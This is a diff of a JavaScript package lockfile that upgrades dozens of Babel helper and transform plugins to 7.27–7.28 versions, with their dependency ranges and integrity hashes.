+ "@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
- "@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.26.5", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.25.9", "@babel/helper-optimise-call-expression": "^7.25.9", "@babel/traverse": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-bJ6iIVdYX1YooY2X7w1q6VITt+LnUILtNk7zT78ykuwStx8BauCzxvFqFaHjOpW1bVnSUM1PN1f0p5P21wHxvg=="],
+ "@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
- "@babel/helper-simple-access": ["@babel/helper-simple-access@7.24.7", "", { "dependencies": { "@babel/traverse": "^7.24.7", "@babel/types": "^7.24.7" } }, "sha512-zBAIvbCMh5Ts+b86r/CjU+4XGYIs+R1j951gxI3KmmxBMhCg4oQMsv6ZXQ64XOm/cvzfU1FmoCyt6+owc5QMYg=="],
-
- "@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.25.9", "", { "dependencies": { "@babel/traverse": "^7.25.9", "@babel/types": "^7.25.9" } }, "sha512-K4Du3BFa3gvyhzgPcntrkDgZzQaq6uozzcpGbOO1OEJaI+EJdqWIMTLgFgQf6lrfiDFo5FU+BxKepI9RmZqahA=="],
-
- "@babel/helper-split-export-declaration": ["@babel/helper-split-export-declaration@7.22.6", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g=="],
+ "@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
"@babel/helper-string-parser": ["@babel/helper-string-parser@7.27.1", "", {}, "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA=="],
@@ -703,21 +725,21 @@
"@babel/helper-validator-option": ["@babel/helper-validator-option@7.27.1", "", {}, "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg=="],
- "@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.25.9", "", { "dependencies": { "@babel/template": "^7.25.9", "@babel/traverse": "^7.25.9", "@babel/types": "^7.25.9" } }, "sha512-ETzz9UTjQSTmw39GboatdymDq4XIQbR8ySgVrylRhPOFpsd+JrKHIuF0de7GCWmem+T4uC5z7EZguod7Wj4A4g=="],
+ "@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
"@babel/helpers": ["@babel/helpers@7.28.4", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/types": "^7.28.4" } }, "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w=="],
"@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
- "@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-ZkRyVkThtxQ/J6nv3JFYv1RYY+JT5BvU0y3k5bWrmuG4woXypRa4PXmm9RhOwodRkYFWqC0C0cqcJ4OqR7kW+g=="],
+ "@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="],
- "@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-MrGRLZxLD/Zjj0gdU15dfs+HH/OXvnw/U4jJD8vpcP2CJQapPEv1IWwjc/qMg7ItBlPwSv1hRBbb7LeuANdcnw=="],
+ "@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="],
- "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2qUwwfAFpJLZqxd02YW9btUCZHl+RFvdDkNfZwaIJrvB8Tesjsk8pEQkTvGwZXLqXUx/2oyY3ySRhm6HOXuCug=="],
+ "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="],
- "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", "@babel/plugin-transform-optional-chaining": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-6xWgLZTJXwilVjlnV7ospI3xi+sl8lN8rXXbBD6vYn3UYDlGsag8wrZkKcSI8G6KgqKP7vNFaDgeDnfAABq61g=="],
+ "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="],
- "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-aLnMXYPnzwwqhYSCyXfKkIkYgJ8zv9RK+roo9DkTXz38ynIhd9XCbN08s3MGvqL2MYGVUGdRQLL/JqBIeJhJBg=="],
+ "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="],
"@babel/plugin-proposal-private-property-in-object": ["@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2", "", { "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w=="],
@@ -729,11 +751,7 @@
"@babel/plugin-syntax-class-static-block": ["@babel/plugin-syntax-class-static-block@7.14.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.14.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw=="],
- "@babel/plugin-syntax-dynamic-import": ["@babel/plugin-syntax-dynamic-import@7.8.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.8.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ=="],
-
- "@babel/plugin-syntax-export-namespace-from": ["@babel/plugin-syntax-export-namespace-from@7.8.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q=="],
-
- "@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.26.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-QCWT5Hh830hK5EQa7XzuqIkQU9tT/whqbDz7kuaZMHFl1inRRg7JnuAEOQ0Ur0QUl0NufCk1msK2BeY79Aj/eg=="],
+ "@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="],
"@babel/plugin-syntax-import-attributes": ["@babel/plugin-syntax-import-attributes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oFT0FrKHgF53f4vOsZGi2Hh3I35PfSmVs4IBFLFj4dnafP+hIWDLg3VyKmUHfLoLHlyxY4C7DGtmHuJgn+IGww=="],
@@ -763,131 +781,131 @@
"@babel/plugin-syntax-unicode-sets-regex": ["@babel/plugin-syntax-unicode-sets-regex@7.18.6", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.18.6", "@babel/helper-plugin-utils": "^7.18.6" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg=="],
- "@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6jmooXYIwn9ca5/RylZADJ+EnSxVUS5sjeJ9UPk6RWRzXCmOJCy6dqItPJFpw2cuCangPK4OYr5uhGKcmrm5Qg=="],
+ "@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="],
- "@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.26.8", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5", "@babel/helper-remap-async-to-generator": "^7.25.9", "@babel/traverse": "^7.26.8" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-He9Ej2X7tNf2zdKMAGOsmg2MrFc+hfoAhd3po4cWfo/NWjzEAKa0oQruj1ROVUdl0e6fb6/kE/G3SSxE0lRJOg=="],
+ "@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="],
- "@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.25.9", "", { "dependencies": { "@babel/helper-module-imports": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-remap-async-to-generator": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NT7Ejn7Z/LjUH0Gv5KsBCxh7BH3fbLTV0ptHvpeMvrt3cPThHfJfst9Wrb7S8EvJ7vRTFI7z+VAvFVEQn/m5zQ=="],
+ "@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="],
- "@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.26.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-chuTSY+hq09+/f5lMj8ZSYgCFpppV2CbYrhNFJ1BFoXpiWPnnAb7R0MqrafCpN8E1+YRrtM1MXZHJdIx8B6rMQ=="],
+ "@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="],
- "@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1F05O7AYjymAtqbsFETboN1NvBdcnzMerO+zlMyJBEz6WkMdejvGWw9p05iTSjC85RLlBseHHQpYaM4gzJkBGg=="],
+ "@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="],
- "@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.25.9", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-bbMAII8GRSkcd0h0b4X+36GksxuheLFjP65ul9w6C3KgAamI3JqErNgSrosX6ZPj+Mpim5VvEbawXxJCyEUV3Q=="],
+ "@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="],
- "@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.26.0", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-6J2APTs7BDDm+UMqP1useWqhcRAXo0WIoVj26N7kPFB6S73Lgvyka4KTZYIxtgYXiN5HTyRObA72N2iu628iTQ=="],
+ "@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="],
- "@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.25.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-compilation-targets": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-replace-supers": "^7.25.9", "@babel/traverse": "^7.25.9", "globals": "^11.1.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-mD8APIXmseE7oZvZgGABDyM34GUmK45Um2TXiBUt7PnuAxrgoSVf123qUzPxEr/+/BHrRn5NMZCdE2m/1F8DGg=="],
+ "@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="],
- "@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/template": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-HnBegGqXZR12xbcTHlJ9HGxw1OniltT26J5YpfruGqtUHlz/xKf/G2ak9e+t0rVqrjXa9WOhvYPz1ERfMj23AA=="],
+ "@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="],
- "@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-WkCGb/3ZxXepmMiX101nnGiU+1CAdut8oHyEOHxkKuS1qKpU2SMXE2uSvfz8PBuLd49V6LEsbtyPhWC7fnkgvQ=="],
+ "@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
- "@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-t7ZQ7g5trIgSRYhI9pIJtRl64KHotutUJsh4Eze5l7olJv+mRSg4/MmbZ0tv1eeqRbdvo/+trvJD/Oc5DmW2cA=="],
+ "@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="],
- "@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-LZxhJ6dvBb/f3x8xwWIuyiAHy56nrRG3PeYTpBkkzkYRRQ6tJLu68lEF5VIqMUZiAV7a8+Tb78nEoMCMcqjXBw=="],
+ "@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="],
- "@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-0UfuJS0EsXbRvKnwcLjFtJy/Sxc5J5jhLHnFhy7u4zih97Hz6tJkLU+O+FMMrNZrosUPxDi6sYxJ/EA8jDiAog=="],
+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="],
- "@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-GCggjexbmSLaFhqsojeugBpeaRIgWNTcgKVq/0qIteFEqY2A+b9QidYadrWlnbWQUrW5fn+mCvf3tr7OeBFTyg=="],
+ "@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="],
"@babel/plugin-transform-explicit-resource-management": ["@babel/plugin-transform-explicit-resource-management@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-K8nhUcn3f6iB+P3gwCv/no7OdzOZQcKchW6N389V6PD8NUWKZHzndOd9sPDVbMoBsbmjMqlB4L9fm+fEFNVlwQ=="],
- "@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.26.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-7CAHcQ58z2chuXPWblnn1K6rLDnDWieghSOEmqQsrBenH0P9InCUtOJYD89pvngljmZlJcz3fcmgYsXFNGa1ZQ=="],
+ "@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="],
- "@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2NsEz+CxzJIVOPx2o9UsW1rXLqtChtLoVnwYHHiB04wS5sgn7mrV45fWMBX0Kk+ub9uXytVYfNP2HjbVbCB3Ww=="],
+ "@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="],
- "@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.26.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Hry8AusVm8LW5BVFgiyUReuoGzPUpdHQQqJY5bZnbbf+ngOHWuCuYFKw/BqaaWlvEUrF91HMhDtEaI1hZzNbLg=="],
+ "@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="],
- "@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.25.9", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8lP+Yxjv14Vc5MuWBpJsoUCd3hD6V9DgBon2FVYL4jJgbnVQ9fTgYmonchzZJOVNgzEgbxp4OwAf6xz6M/14XA=="],
+ "@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="],
- "@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xoTMk0WXceiiIvsaquQQUaLLXSW1KJ159KP87VilruQm0LNNGxWzahxSS6T6i4Zg3ezp4vA4zuwiNUR53qmQAw=="],
